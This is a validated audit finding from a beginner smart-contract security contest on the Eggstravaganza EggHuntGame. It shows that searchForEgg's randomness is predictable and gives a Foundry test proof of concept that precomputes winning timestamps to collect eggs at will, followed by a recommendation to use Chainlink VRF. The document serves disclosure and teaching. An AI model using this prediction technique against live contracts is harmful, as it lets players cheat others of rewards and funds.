Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Use of Predictable Randomness via `block.prevrandao` Allows Game Exploitation

Description:

The EggHuntGame::searchForEgg function relies on a pseudo-randomness logic based on predictable values such as block.timestamp, block.prevrandao, msg.sender, and eggCounter. These inputs can be known or controlled by an attacker, allowing them to accurately predict the outcome of the function before execution. This breaks the intended randomness of the game and enables deterministic exploitation to collect eggs unfairly.

Impact:

The predictability of the randomness mechanism allows an attacker to collect eggs consistently and risk-free. This compromises the fairness of the game, enables automated bot exploitation, and may result in an unfair distribution of NFT rewards. In competitive or economically valuable environments, this vulnerability can lead to financial loss, manipulation of game mechanics, and a loss of user trust.

Proof of Concept:

function test_manipulatePrevrandao() public gameStarted {
// Simulate that 'alice' is the attacker executing the exploit
vm.startPrank(alice);
// Fixed value to simulate block.prevrandao (controlled in the test environment)
uint256 randaoMock = uint256(keccak256("fake randomness"));
// Counter of how many eggs were successfully found
uint256 found;
// Define how many eggs we want to find during the exploit
uint256 eggsToFind = 10;
// Retrieve the current eggCounter from the contract
uint256 currentEggCounter = game.eggCounter();
// Use current block.timestamp as the base to simulate future blocks
uint256 timestampBase = block.timestamp;
// Use the current threshold configured in the game
uint256 eggFindThreshold = 20;
// Loop over simulated future timestamps to find exploitable opportunities
for (uint256 i; i < 100; i++) {
// Simulate a future timestamp
uint256 simulatedTimestamp = timestampBase + i;
// Predict the random value using the same logic as the contract
uint256 predictedRandom = uint256(
keccak256(
abi.encodePacked(
simulatedTimestamp,
bytes32(randaoMock),
alice,
currentEggCounter
)
)
) % 100;
// If the result is below the threshold, the attacker knows they will win
if (predictedRandom < eggFindThreshold) {
// Simulate the block being mined at the predicted timestamp
vm.warp(simulatedTimestamp);
// Set block.prevrandao to the known mock value
vm.prevrandao(bytes32(randaoMock));
// Call the function knowing in advance it will succeed
game.searchForEgg();
// Increment the local found counter
found++;
// Since the contract increases eggCounter, reflect that locally
currentEggCounter++;
}
// Exit loop if we reached the number of desired eggs
if (found == eggsToFind) {
break;
}
}
// Check that the contract actually minted the expected number of eggs
uint256 aliceEggsFound = game.eggsFound(alice);
assertEq(aliceEggsFound, found);
// Output the total number of predictably found eggs
console2.log("Total eggs found predictably:", found);
vm.stopPrank();
}

Result:

Ran 1 test for test/EggHuntGamesTest2.t.sol:EggGameTest2
[PASS] test_manipulatePrevrandao() (gas: 589720)
Logs:
Total eggs found predictably: 10
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 22.37ms (11.04ms CPU time)

Recommended Mitigation:

It is strongly advised to avoid using block.prevrandao, block.timestamp, or any other on-chain predictable value as a randomness source for critical decisions, especially those involving rewards or NFT distribution.

Instead, consider implementing one of the following secure alternatives:

  • Chainlink VRF (Verifiable Random Function):
    A widely-used, secure solution for generating truly unpredictable and verifiable randomness on-chain.

  • Oracles or trusted off-chain randomness providers:
    Use external services to generate randomness off-chain and submit it to the smart contract only when needed.

Updates

Lead Judging Commences

m3dython Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Insecure Randomness

Insecure methods to generate pseudo-random numbers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.